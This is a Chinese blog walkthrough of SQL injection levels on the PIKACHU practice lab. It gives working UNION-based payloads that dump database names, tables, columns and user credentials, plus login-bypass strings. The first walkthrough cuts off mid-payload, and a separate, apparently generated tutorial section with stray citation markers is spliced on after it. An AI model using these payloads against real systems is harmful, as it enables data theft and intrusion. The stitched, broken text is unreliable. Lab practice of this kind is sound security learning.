PIKACHU-SQL注入(1-5)

这篇博客详细介绍了PIKACHU平台上的SQL注入漏洞利用过程,包括数字型、字符型、搜索型和XXX型注入的步骤,以及insert/update注入的技巧。作者通过示例展示了如何找出列数、爆库、爆表、爆列和爆数据,涉及了SQL注入的各种常见类型。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1- 数字型注入(post)

在这里插入图片描述发到burp里查看发现是post类型
在这里插入图片描述开始用firefox的hackbar来实施注入
既然题目说了是数字型,就不找闭合了,按照下面的步骤进行:
1、找列数 payload: id=1 order by n#&submit=%E6%9F%A5%E8%AF%A2

payload中的n为数字,表示select语句结果的列数,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。比如从下面两张图可知select语句查询结果有2列。
在这里插入图片描述在这里插入图片描述2、爆库 payload:id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2

上一步知道了查询结果有两列,再看浏览器的返回结果,有用户名和邮箱,所以估计返回结果的两列都是可显示的,因此爆库的时候随便选一列就好。
在这里插入图片描述3、爆表 payload:id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述表有httpinfo,member,message,users,xssblind

4、爆列 payload:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述5、爆数据 payload:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述

2-字符型注入

在这里插入图片描述开始进行sql注入步骤:

1、找列数 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=tony’ order by 2%23&submit=%E6%9F%A5%E8%AF%A2

payload中的%23就是#,由于在url中#有特殊含义所以要转义

原理和上一关一样,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。

最终发现查询结果列数为2

2、爆库 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=tony’ union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2

由于tony是不存在的用户,不会返回结果,因此返回的结果只有当前数据库名称,pikachu
在这里插入图片描述

3、爆表 payload: payloa

### Pikachu靶场中的SQL注入类型教程 #### 数字型SQL注入 当应用程序未正确过滤用户输入且该输入被用于构建SQL查询的一部分时,可能会发生数字型SQL注入。如果参数是整数形式,则攻击者可以尝试通过改变这个数值来观察应用行为的变化从而判断是否存在漏洞[^2]。 对于Pikachu靶场而言,在某些情况下,向URL或表单提交的数据中附加特殊字符(如`'`),会触发数据库错误提示,这表明可能存在SQL注入风险[^3]。 ```sql ?id=1 AND 1=1 -- 正常显示页面内容 ?id=1 AND 1=2 -- 页面返回异常或者空白页 ``` #### 字符型SQL注入 字符型SQL注入通常发生在字符串类型的参数上。在这种场景下,可以通过在合法数据之后追加恶意构造的SQL片段来进行测试。例如: ```sql username=admin' OR '1'='1 password=a' OR 'a'='a ``` 这些命令利用了逻辑运算符OR使得条件永远成立,进而绕过身份验证机制[^1]。 #### 联合查询注入 为了进一步探索数据库结构,即所谓的“爆库”,可以采用UNION SELECT语句组合两个SELECT查询的结果集。此方法适用于已知目标站点存在可利用的SQL注入点,并希望从中提取额外的信息的情况。比如获取其他表格的名字、列名等敏感资料。 ```sql ?search=test'+union+select+null,table_name,null+from+information_schema.tables--+HTTP/1.1 Host: example.com ``` 上述例子展示了如何从MySQL内置的信息模式(information_schema)读取有关现有表的信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值